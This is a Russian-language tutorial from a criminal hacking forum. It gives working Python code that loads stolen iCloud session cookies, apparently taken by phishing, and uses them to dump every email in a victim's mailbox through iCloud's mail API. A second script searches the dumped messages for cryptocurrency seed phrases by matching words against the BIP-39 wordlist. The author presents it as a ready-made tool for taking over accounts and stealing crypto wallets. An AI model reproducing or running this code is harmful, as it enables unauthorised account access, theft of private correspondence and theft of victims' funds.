Пожалуйста, обратите внимание, что пользователь заблокирован
Написано - chiefchainer
Источник - xss.pro
Введение
Приветствую всех, а отдельный привет ловцам на фишинг. Наверняка, у всех тех кто занимается айклаудом давным давно отлажен процесс дампа/выгрузки данных пока куки еще живы, пока еще есть что сделать. Или же наоборот это некий призыв, что пора начинать готовить фишлеты еще и на айклауд. Не планирую особо углублуться в тему фишинга, мне интереснее здесь другое, дампить все сообщения с мыла айклауда в поисках заветной сид-фразы. Видел ребят, которые занимаются и отработкой писем просто с почт в поисках сидки, да, не все поступают по умному и записывают куда-нибудь в блокнотик, кто-то просто скидывает её самому себе же на почту и хранит там, думая, что таким образом он в безопасности, ведь считают что никогда мою почту не взламывали, у айклауда сильная защита, и бла-бла-бла. Но все же, главная уязвимость компьютера, это человек сидящий за ним. Так еще и все яйца в одну корзину кладут, это из разряда в обложке от паспорта хранить еще парочку документов как СНИЛС, карточки, в моей голове это выглядит именно. Человеку свойственно ошибаться, и первую ошибку, которую он допустил так это сохранил не на бумажке. Хватит это мусолить, надо понять чем мы сегодня займемся. Мы взглянем на то как Icloud хранит свои письма, как залезать под него, и как доставать то что нам нужно. Забудьте про эмуляцию, все же это детский сад. Нам нужен будет хардкор, только запросы. Посмотрим, что такое регулярки, напишем метод поиска сид-фраз с сохранением отчета по нему. В рамках этой статьи разберу лишь под словарик BIP-39, но опять же это не проблема, достаточно лишь немного поднапрячься, разобраться и сделать все самостоятельно, впервые для себя выложу сразу готовый вариант с мини-инструкцией, ведь раньше выкладывал только куски функций, опираясь на то, что человек, который ему это нужно будет, возьмет и соберет все в одно целое.
Начинаем тыкаться в заветном айклауде
Попробую избежать кучи теории, и прибегать сразу к практике. Для начала стоит разобраться как именно надо входить в аккаунт? Есть два варианта развития событий, это вход по логину и паролю, и по подгрузке кукисов уже с авторизованной сессией. Стоит понимать, что Icloud штука дерзкая и грубая, которая на каждый писк и неудачную попытку начнет свистеть. Собирает она все данные целиком, к примеру, и порой даже слишком сильно едет кукухой. Реальная ситуация, которая возникла в рамках продумывания статьи: я сидел с ноутбука (никогда с него раньше не заходил в айклауд), подключенного к домашней сети, параллельно держа телефон, который подключен к той-же сети, пытаясь авторизоваться в айклауде с ноутбука, его совсем не смутило, что устройства рядом, в одной сети, в одной геопозиции, он все равно запросил меня подтвердить вход с айфона и ввести код с него на ноуте.
По этому вариант с авторизацией через логин и пароль отпадает. В связи с такими прискорбными новостями становится бессмысленно пытаться писать вход по логину и паролю, нам нужны только кукисы с сессией, ведь так мы сразу сможем плыть куда нам нужно, а именно в почту. Мы будем делать все сразу как только собираем нужную информацию, а не в конце, это тоже впервые буду пробовать для себя. Так словно легче, ведь мы сразу получаем теорию и мгновенно же практику, которую закрепляем, а не занимаемся этим где-то в конце статьи. Хорошо, определились, что заход по кукам, писать будем на запросах как говорил раньше и на Python. Теперь стоит понять, есть ли поддомены, чтоб при дампе не возникло проблем, что кукисы мы собрали не со всех ресурсов, а только с одного, в следствии чего мы получаем, что доступа у нас опять нет. Для этого достаточно авторизоваться в айклауде и взглянуть, не перекидывает ли нас на какой-нибудь поддомен из разряда mail.icloud.com. С одной стороны может показаться, что это бред, но я привык пользоваться расширением Cookie-Editor, он выгружает только с домена, и когда писался дампер под Google, я долгое время не мог понять, почему доступа у меня нет, а оказывается все лежало на плаву.
Выгрузка кук
Такого не наблюдается, по этому для выгрузки можем остановиться с расширением Сookie-Editor. Мы будем выгружать куки в JSON-формате, и в таком же засовывать в нашу сессию. Сессию мы создаем для того, чтоб куки зафиксировались за ней, и не приходилось каждый раз подтаскивать их в каждый новый запрос, который мы будем делать. Отлично, мы проложили маршрут действий, остается только лишь реализовать.
Код:
with open('cookies.txt', 'r') as f:
cookies_list = json.load(f)
cookies_dict = {cookie['name']: cookie['value'] for cookie in cookies_list}
session = requests.Session()
session.cookies.update(cookies_dict)
Получение писем
Начало положено, теперь надо ползти в почту, смотреть какие запросы летят там, и понять как сохранять наши письма. Для этого перекатываемся на
Код:
icloud.com/mail/
Мы видим сразу folder: "INBOX" и maxResults: 50, которые в последствии мы будем редактировать, ведь нам нужна сортировка по папкам. А с maxResults мы будем эксперементировать, чтоб одним запросом вытащить сразу все письма.
Айклауд достаточно удивителен в этом плане, он по каким-то непонятным для меня причинам старается скрыть эту возможность. При заходе на письмо можно увидеть два круглишка с тремя точечками) Но вот один из них не будет нам предлагать скачать письмо, по какой причине это сделано, не ясно, хотя все другие функции аналогичны в этих круглишках. Ниже будет скриншотик, который отображает это.
А там где красная стрелочка присутствует возможность выгрузки, ладно, это отвлеченные мысли от темы, но тема для обсуждения. Хорошо, разобрались, что можно скачивать, теперь вопрос состоит в том, а как это делается, что за параметры передаются. Для этого как и в прошлый раз просто отлавливаем нужный нам запрос, и смотрим, что там вообще происходит.
Вот наш запрос, мы передаем некий dsid, и то в какой папке наше письмо, а так же некий порядковый номер письма, сделал я такой вывод выгрузив два письма, которые были отправлены друг за дружкой, и значение просто увелиличилось на единицу. В теории мы можем гонять просто порядковый номер от 0 до некого n, и будем ломать(прерывать) цикл, когда Icloud уже не будет ничего возвращать совсем. Остановимся пока на этой мысли. Теперь вопрос, кто этот такой dsid. Можно искать этот параметр в куче разных мест, начиная от хранения в HTML-коде страницы, заканчивая генерацией каким нибудь обфусцированным JS-скриптом, что может наделать нам трудностей, ведь мы делаем это на запросах. Но тут все намного легче, этот параметр лежит в куках нашей сессии, убедиться можно здесь на скриншоте.
Быстренько напишем функцию, которая будем доставать это значение из нашего текстовика с куками.
Код:
import json
def get_dsid():
with open('cookies.txt', 'r') as f:
cookies_list = json.load(f)
cookies_dict = {cookie['name']: cookie['value'] for cookie in cookies_list}
if 'X-APPLE-WEBAUTH-USER' in cookies_dict:
x_apple_webauth_user_value = cookies_dict['X-APPLE-WEBAUTH-USER']
parts = x_apple_webauth_user_value.split(':')
for part in parts:
if part.startswith('d='):
d_value = part.split('=')[1]
break
else:
d_value = None
if d_value is not None:
return d_value.replace('"', '')
Найти его можно полазив по папкам, в ответе он возвращает uids каждого письма в папке. Ответ пониже.
Мы получаем сразу uids в удобном формате. Сам запрос выглядит так,
Код:
params = {
'clientBuildNumber': '2418Project49',
'clientMasteringNumber': '2418B22',
'clientId': '93439a39-728e-4be7-915b-661f437a036a',
'dsid': get_dsid(),
}
data = '{"jsonrpc":"2.0","id":"1719760365686/0","method":"list","params":{"guid":"folder:INBOX","sorttype":"Date","sortorder":"descending","searchtype":null,"searchtext":null,"requesttype":"index","responsetype":"hybrid","selected":1,"count":500000,"rollbackslot":"0.0"}}'
response = session.post('https://p59-mailws.icloud.com/wm/message', params=params, headers=headers, data=data)
Код:
import requests
import json
import os
from get_dsid import get_dsid
def get_mails(session, mail, base_folder):
folders = ['Deleted Messages', 'Sent Messages', 'Junk', 'Drafts', 'Inbox']
for folder in folders:
params = {
'clientBuildNumber': '2418Project49',
'clientMasteringNumber': '2418B22',
'clientId': '93439a39-728e-4be7-915b-661f437a036a',
'dsid': get_dsid(),
}
headers = {
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.9,ru-RU;q=0.8,ru;q=0.7',
'Cache-Control': 'no-cache',
'Connection': 'keep-alive',
'Content-Type': 'application/json',
'Origin': 'https://www.icloud.com',
'Pragma': 'no-cache',
'Referer': 'https://www.icloud.com/',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-site',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
}
data = {
"jsonrpc": "2.0",
"id": "1719760365686/0",
"method": "list",
"params": {
"guid": f"folder:{folder}",
"sorttype": "Date",
"sortorder": "descending",
"searchtype": None,
"searchtext": None,
"requesttype": "index",
"responsetype": "hybrid",
"selected": 1,
"count": 500000,
"rollbackslot": "0.0"
}
}
response = session.post('https://p59-mailws.icloud.com/wm/message', params=params, headers=headers, json=data)
data = json.loads(response.text)
if "result" in data and data["result"]:
uids = data["result"][0]["uids"]
for uid in uids:
params = {
'guid': f'message:{folder.capitalize()}/{uid}',
'dsid': get_dsid(),
}
response = session.get(f'https://p59-mailws.icloud.com/rwm/message/{uid}.eml', params=params, headers=headers)
if response.status_code == 200:
subject = uid
subfolder_path = os.path.join(base_folder, folder)
os.makedirs(subfolder_path, exist_ok=True)
filename = os.path.join(subfolder_path, f"{subject}.eml")
with open(filename, 'wb') as f:
f.write(response.content)
Сохраняем в массив всевозможные папки, которые могут быть. После чего скачем по каждой из них, получаем все uid, и скачиваем каждое письмо. Бинго! Разобрались с дампом почты, не гарантирую, но думаю что в будущем еще разберем и дамп заметок, фотографий, контактов и так далее. Остается дело за малым, распарсить содержимое каждого письма и поискать там сидки. Но для начала поймем, что такое регулярки, как они работают и как они помогут нам.
Что такое регулярка и поиск сид-фраз
Регулярка a.k.a регулярное выражение - это последовательность неких символов, которая задает шаблон для поиска и обработки текста. Регулярные выражения используются для поиска, замены, извлечения или проверки соответствия шаблону. Как они работают вопрос простой, за счет сопосотавления шаблонов с текстом. То есть в шаблоне мы можем указать какие последовательности нам надо искать. Например, \d - любая цифра, [a-z] - любая буква английского алфавита. Чтоб дернуть все почты из текстовика, можно использовать такую регулярку - [a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}. Как нам это поможет в поиске сидок? У меня план поиска сидок такой: мы считываем каждое письмо, распаршиваем его на контент в теле письма, после чего достаем всевозможные слова через регулярку, и проверяем каждое на наличие в словаре(его мы заранее скачиваем), после чего делаем выводы в процентах по каждому письму (если там есть слова), и сохраняем это в некий отчет по каждому письму, возможно он не очень рациональный, возможно хуже чем другие, я не претендую на новый ультра-продуктивный метод =). Метод напрямую через регулярку доставать просто 12 идущих слов подряд мне не понравился, не слишком продуктивен. Тестировал я это дело на таком письме.
И заслал еще одно письмо, где помимо сидки был добавлен всякий бред, набор непонятных символов.
Результаты на письме с 'Hello my name is' - 81%, а на письме с бредом и сидкой - 27.61%. Нигде не было написано, что это именно сид-фраза. Просто набор слов если так посмотреть, подход конечно требует доработки, при анализе HTML-писем, надо тоже распаршивать еще от туда содержимое, это вы можете сделать самостоятельно с BeautifulSoup4. Развития вариантов как еще доставать сидок с почт куча, так как мы качаем письмо целиком, то подтягиваются и приложения к нему. Можно подключить Tesseract в качестве OCR (считывания с фото), а для файлов качать их и прочитывать их тоже. Cкорость при скачивании тоже не высока, у меня еще ни разу не было такого, чтоб кук умер посреди выгрузки, но можно подключить многопоточность и раскручивать сразу несколько папок или uid'ов писем. Сам код поиска сидки cреди писем:
Код:
import os
import re
import argparse
from pathlib import Path
from tqdm import tqdm
import email
from email import policy
from email.parser import BytesParser
from datetime import datetime
BIP39_WORDLIST_PATH = "bip39_wordlist.txt"
with open(BIP39_WORDLIST_PATH, 'r') as f:
BIP39_WORDLIST = set(word.strip() for word in f.readlines())
def extract_text_from_eml(file_path):
try:
with open(file_path, 'rb') as f:
msg = BytesParser(policy=policy.default).parse(f)
text_content = ""
if msg.is_multipart():
for part in msg.walk():
content_type = part.get_content_type()
if content_type == "text/plain":
text_content += part.get_payload(decode=True).decode('utf-8', errors='ignore')
else:
text_content = msg.get_payload(decode=True).decode('utf-8', errors='ignore')
return text_content
except Exception as e:
return ""
def check_bip39_words(text_content):
words = re.findall(r'\b\w+\b', text_content)
bip39_words_found = [word for word in words if word in BIP39_WORDLIST]
total_words = len(words)
bip39_count = len(bip39_words_found)
if total_words > 0:
probability = (bip39_count / total_words) * 100
return probability, bip39_words_found
else:
return 0, []
def search_files(base_path):
base_path = Path(base_path)
if not base_path.exists():
return
report_path = base_path / "seed_phrase_report.txt"
all_files = [Path(root) / file for root, _, files in os.walk(base_path) for file in files if file.endswith('.eml')]
total_files = len(all_files)
with open(report_path, 'w', encoding='utf-8') as report:
report.write("=" * 50 + "\n")
with tqdm(total=total_files, unit='file') as pbar:
for file_path in all_files:
text_content = extract_text_from_eml(file_path)
if text_content:
probability, bip39_words = check_bip39_words(text_content)
if probability > 0:
report.write(f"[INFO] File: {file_path}\n")
report.write(f" Probability of being a seed phrase: {probability:.2f}%\n")
report.write(f" BIP39 words found: {bip39_words}\n")
report.write("-" * 50 + "\n")
pbar.update(1)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('path', type=str)
args = parser.parse_args()
search_files(args.path)
if __name__ == "__main__":
main()
Заключение
И как обещал, прикладываю полностью код, в который надо грузануть свои куки и начать выгружать почту. Возможно где-то код не идеален, но мы разобрались с тем как выгружать письма с почты на запросах, загружать куки, искать сидки. Ввести можно еще много всякого функционала в поиск сидок, а так, помимо почт еще чуть позже думаю разберем дамп заметок (а там игра с шифрованием ого-го какая), диска, фоток, контактов. Надеюсь, что черпнули нового, нашли для себя что-то, взяли на вооружение. Всем пока и с новым годом =)Вложения
Последнее редактирование модератором:
